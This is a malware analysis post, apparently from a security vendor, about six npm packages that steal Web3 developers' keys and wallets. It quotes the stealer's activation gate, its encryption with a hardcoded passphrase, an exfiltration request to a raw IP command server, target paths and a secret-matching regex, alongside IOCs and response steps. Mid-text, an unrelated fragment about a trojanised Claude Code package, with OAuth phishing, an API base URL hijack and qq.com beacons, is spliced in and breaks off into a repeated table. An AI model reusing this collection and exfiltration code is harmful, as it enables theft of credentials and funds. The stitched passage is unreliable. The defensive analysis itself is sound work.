TL;DR
On May 6, 2026, a single npm publisher, namikazesarada010206, pushed six malicious packages targeting the Ethereum, Solidity, and DeFi developer ecosystem.
The packages, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, and web3-utils-core, used plausible names designed to look like helper libraries for popular Web3 tooling.
All six packages contained the same telemetry.js file. The file was byte-identical across the cluster, with SHA-256:
The malware does not execute at install time. There is no preinstall or postinstall hook. Instead, it activates when the package is imported through require().
That detail matters.
The implant waits until a developer actually uses the package. Then it checks whether the workstation looks like a real Ethereum / Solidity development environment. It looks for Alchemy or Infura keys, private keys, mnemonics, deployer keys, or a local Foundry directory.
If the host matches, the stealer collects SSH private keys, Foundry / Geth / Brownie wallet keystores, .env* files, and sensitive environment variables. It encrypts the bundle with AES-256-GCM using a hardcoded passphrase and exfiltrates it to a raw IPv4 C2 endpoint with TLS verification disabled.
Xygeni’s Malware Early Warning (MEW) system confirmed all six packages as malicious. The npm registry takedown report bundle is pending.
The Cluster: Six Packages, One Publisher
The publisher account namikazesarada010206 was linked to the unverified Gmail address namikazesarada010206@gmail.com.
The campaign appeared as a single-day publication burst on May 6, 2026. All six packages were versioned as 1.0.0, had zero runtime dependencies, and shipped only three files:
package.json
index.js
telemetry.jsThey also declared the same source repository:
https://github.com/harunosakura030303-maker/evmchain-configThe first three packages were caught by MEW scanners on first publication. The remaining three were force-flagged after analyst review of the publisher’s npm profile. Once the same byte-identical telemetry.js was confirmed across the cluster, they were closed as malicious by consistency.
| Package | Version | npm Published | MEW Ticket | Verdict |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malicious |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Malicious |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Malicious |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malicious, by consistency |
| foundry-utils | 1.0.0 | 2026-05-06 | #51071 | Malicious, by consistency |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malicious, by consistency |
The naming strategy is straightforward but effective.
These packages do not impersonate exact upstream names. Instead, they use plausible “utility” suffixes such as -core, -utils, and -utils-core. That makes them look like companion libraries a developer might expect to see near Web3 tooling.
| Malicious Package | Legitimate Target |
|---|---|
| viem-core | viem, a popular Ethereum TypeScript client |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, a mainstream Solidity development environment |
| evm-utils | Generic EVM tooling namespace |
| foundry-utils | foundry, a Solidity toolchain |
| web3-utils-core | web3-utils, Web3.js helpers |
This is the “supplemental package” pattern: not “I am the real package,” but “I look like a reasonable helper around the real package.”
For DeFi developers moving quickly, that is enough to create risk.
What Happens When the Package Is Imported
The attack chain is small, deliberate, and focused on crypto-development environments.
There is no installation hook. Instead, each package includes an index.js that exports stub functionality and then loads the malicious telemetry module.
require('./telemetry').init();This means the malware activates on first import.
That is operationally useful for the attacker. Many scanners and sandboxes focus on install-time behavior. This package waits until it is actually used by a developer, build script, test suite, or runtime path.
Activation Gate: Only Fire on Real Web3 Developer Workstations
The most important part of the implant is the activation gate.
The malware checks for environment variables commonly found on Ethereum / Solidity developer machines:
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);It also checks whether Foundry appears to be installed:
fs.existsSync(path.join(os.homedir(), '.foundry'))If neither condition is true, the function returns and does nothing.
That makes the package quieter in generic analysis environments. A sandbox without Foundry, Alchemy keys, Infura keys, private keys, or mnemonics may see a harmless-looking import.
On a matching host, the malware waits 60 to 90 seconds before collection:
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();The delay reduces obvious correlation between import and exfiltration. The .unref() call also lets the host process exit normally if the package was imported in a short-lived script.
This is not noisy smash-and-grab behavior. It is a targeted stealer designed to avoid running unless the developer environment is worth stealing from.
What the Stealer Collects
Once the activation gate passes, the malware collects from sources that matter most in Web3 development: private keys, wallet keystores, deployment credentials, cloud secrets, npm tokens, and local project configuration.
| Source | What Is Collected |
|---|---|
| process.env | Any variable matching /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Files containing PRIVATE KEY or BEGIN OPENSSH, including full file content |
| ~/.foundry/keystores/* | Foundry wallet keystore files |
| ~/.ethereum/keystore/* | Geth wallet keystore files |
| ~/.brownie/accounts/* | Brownie wallet keystore files |
| ${cwd}/.env | Full file content |
| ${cwd}/.env.local | Full file content |
| ${cwd}/.env.production | Full file content |
| ${cwd}/.env.development | Full file content |
| os.hostname() | Host metadata |
| crypto.randomUUID() | Victim/session identifier |
| Date.now() | Collection timestamp |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.comThe ATTA tokens are:
ATTA_ID 00400014144
ATTA_TOKEN 6478159937We have not been able to confirm whether the telemetry was the operator’s own analytics or a separately monetised channel. The ATTA tokens are the same in both samples we examined.
Cluster B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
The April 1 sample is the cruder, earlier arm of the campaign.
heibai:2.1.88-claude.hk-4 was published by wuguoqiangvip28, an account created June 7, 2025. The package explicitly versioned itself against the legitimate 2.1.88 Anthropic release.
It does not bother with CA-cert MITM. Instead, it lies to the user about the OAuth endpoint.
The malicious additions on top of the leaked Claude Code source include:
| Source | What Is Collected |
|---|---|
| process.env | Any variable matching /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Files containing PRIVATE KEY or BEGIN OPENSSH, including full file content |
| ~/.foundry/keystores/* | Foundry wallet keystore files |
| ~/.ethereum/keystore/* | Geth wallet keystore files |
| ~/.brownie/accounts/* | Brownie wallet keystore files |
| ${cwd}/.env | Full file content |
| ${cwd}/.env.local | Full file content |
| ${cwd}/.env.production | Full file content |
| ${cwd}/.env.development | Full file content |
| os.hostname() | Host metadata |
| crypto.randomUUID() | Victim/session identifier |
| Date.now() | Collection timestamp |
The target list is highly specific. This is not generic browser theft or broad credential scraping. It is aimed at developers who build, test, deploy, or operate Ethereum applications.
The inclusion of Foundry, Geth, and Brownie keystores is especially important. These files can represent direct access to wallets or deployment identities. If the attacker can pair them with passwords, mnemonics, or environment secrets, they may be able to move funds, impersonate deployers, or compromise smart contract operations.
Encryption Before Exfiltration
The malware encrypts the collected data before sending it out.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);The hardcoded passphrase is:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dThe final payload is wrapped as JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Encryption does not make the malware more advanced by itself. However, it makes network inspection harder. A defender watching egress would see a JSON payload, but not the stolen keys, wallet files, or .env contents without the hardcoded passphrase and decryption logic.
Exfiltration to a Raw IPv4 C2
The exfiltration path is hardcoded:
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});The malware sends data to:
https://76.13.37.80:8443/api/v1/telemetryTwo details stand out.
First, the C2 is a raw IPv4 address rather than a domain. That removes the need for domain registration and avoids some domain-based detections.
Second, TLS verification is disabled with:
rejectUnauthorized: falseThat allows the malware to accept any certificate, including self-signed certificates. In other words, the attacker gets encrypted transport without needing a valid public certificate.
There is no retry logic and no fallback host. Errors are silently swallowed. This keeps the package quiet if the C2 is offline or unreachable.
Why This Campaign Matters
Most malicious npm packages aimed at developers chase broad credentials: npm tokens, AWS keys, GitHub tokens, or .npmrc files.
This campaign narrows the target.
It looks for signs that the machine belongs to an Ethereum or Solidity developer. Then it pulls exactly the assets that matter in that environment: wallet keystores, private keys, mnemonics, deployer keys, .env files, and SSH keys.
That makes the campaign more dangerous for Web3 teams than a generic npm stealer.
A successful infection could expose:
- Deployment wallets
- Smart contract admin keys
- RPC provider keys
- Cloud deployment credentials
- npm publishing tokens
- SSH access to developer or build infrastructure
- Project secrets stored in
.envfiles - Wallet keystores for Foundry, Geth, or Brownie
The package names also show clear social engineering. They target the Web3 developer ecosystem through familiar tool names: viem, hardhat, foundry, evm, and web3.
The actor does not need to compromise the real projects. They only need a developer to install what looks like a reasonable companion package.
Indicators of Compromise and Detection
| Packages and Publisher | |
|---|---|
| Field | Value |
| npm publisher | namikazesarada010206 |
| Publisher email | namikazesarada010206@gmail.com |
| Email verified | No |
| SCM verified | No |
| Reputation score | 1.0 |
| Packages | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| Versions | All 1.0.0 |
| Source repository | https://github.com/harunosakura030303-maker/evmchain-config |
| Confirmed malicious | All six packages |
| Network | |
|---|---|
| Type | Value |
| C2 endpoint | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 port | 8443/tcp |
| TLS behavior | rejectUnauthorized: false |
| Payload schema | {"v":2,"iv":<base64>,"d":<base64-ciphertext>,"t":<base64-gcm-tag>} |
| Files and Hashes | |
|---|---|
| Type | Value |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Package layout | package.json, index.js, telemetry.js |
| File count | 3 |
| Approximate total size | 3.4 KB |
Activation Signals
The malware checks for these environment variables:
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEYIt also checks for:
~/.foundry/Targeted Host Paths
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.developmentCollection Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iDetection Notes
Several rules catch this campaign without needing full behavioral analysis.
First, scan lockfiles for the six malicious package names:
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-coreAny match in package-lock.json, yarn.lock, pnpm-lock.yaml, or node_modules history should be treated as a serious incident.
Second, monitor for Node.js processes reading wallet keystore paths:
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/This is rarely legitimate behavior for a package imported as a helper dependency. It is especially suspicious when followed by outbound network activity.
Third, block or alert on HTTPS connections to:
76.13.37.80:8443Especially when the request path is:
/api/v1/telemetryFourth, hunt for npm packages that combine these traits:
- Fresh or low-reputation publisher
- Unverified Gmail account
- Web3-adjacent package name
- No meaningful repository history
- Tiny package layout
index.jsthat loads a telemetry or helper file- No runtime dependencies
- Sensitive environment-variable collection
- Wallet keystore access
This pattern is more useful than a single IOC because the next package may change the IP address but keep the same targeting logic.
Compromise Response Checklist
If a developer used one of the six packages and their environment matched the activation gate, treat the workstation as compromised.
That includes machines with Foundry installed, Alchemy or Infura keys in the environment, private keys, mnemonics, or deployer keys.
Recommended response:
- Disconnect the host from the network.
- Preserve
node_modules, lockfiles, shell history, and relevant logs for forensics. - Rotate every SSH keypair under
~/.ssh/. - Rotate wallet keys for every keystore under
~/.foundry,~/.ethereum, and~/.brownie. - Move funds to fresh wallets.
- Rotate every secret stored in
.env*files in repositories the developer worked in. - Rotate environment secrets matching the collection regex, including AWS keys, npm tokens, deploy tokens, API keys, private keys, seeds, and mnemonics.
- Audit cloud, npm, GitHub, RPC provider, and blockchain activity since the package was first installed.
- Re-image the workstation before reuse.
What Defenders Should Take Away
This campaign shows how npm typosquatting is evolving around high-value developer ecosystems.
The actor did not need persistence. They did not need obfuscation. They did not even need install-time execution.
Instead, they relied on three things:
- Plausible Web3 package names
- Activation only on real crypto-development machines
- Direct theft of the files and secrets that matter most to Ethereum developers
That makes the campaign easy to miss in broad scanning and dangerous when it lands in the right environment.
For Web3 teams, the lesson is clear: treat dependency names as part of your threat model. A package that looks like a harmless helper can still become the shortest path to wallet compromise.
Reported to the npm registry. We will update this post when the publisher account and packages are removed.
